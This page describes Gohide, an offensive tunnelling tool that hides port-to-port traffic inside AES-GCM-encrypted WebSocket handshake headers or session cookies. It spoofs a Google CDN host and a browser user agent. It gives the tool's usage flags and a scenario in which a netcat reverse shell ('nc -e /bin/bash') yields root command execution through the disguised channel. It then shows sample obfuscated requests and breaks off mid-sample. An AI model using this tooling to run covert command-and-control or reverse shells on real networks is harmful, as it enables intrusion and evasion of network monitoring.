Gohide : Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

Gohide, Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

  • Session Cookie HTTP GET (http-client)
  • Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
  • WebSocket Handshake “Sec-WebSocket-Key” (websocket-client)
  • WebSocket Handshake “Sec-WebSocket-Accept” (websocket-server)
  • No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
-f string
listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default “0.0.0.0:8081”)
-key openssl passwd -1 -salt ok | md5sum
aes encryption secret: use ‘-k openssl passwd -1 -salt ok | md5sum’ to derive key from password (default “5fe10ae58c5ad02a6113305f4e702d07”)
-l string
listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:8080”)
-m string
obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default “none”)
-pem string
path to .pem for TLS encryption mode: default = use hardcoded key pair ‘CN:target.com’, none = plaintext mode (default “default”)
-r string
forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:9999”)

Scenario

Box A – Reverse Handler

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Note: /etc/hosts “127.0.0.1 target.com”

Box B – Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A – Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux

Obfuscation Samples

websocket-client (Box A to Box B)

  • Sec-WebSocket-Key contains AES-GCM encrypted content e.g. “uname -a”.

GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

  • Sec-WebSocket-Accept contains AES-GCM encrypted output.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

  • Session cookie header contains AES-GCM encrypted content

GET /news/api/latest HTTP/1.1
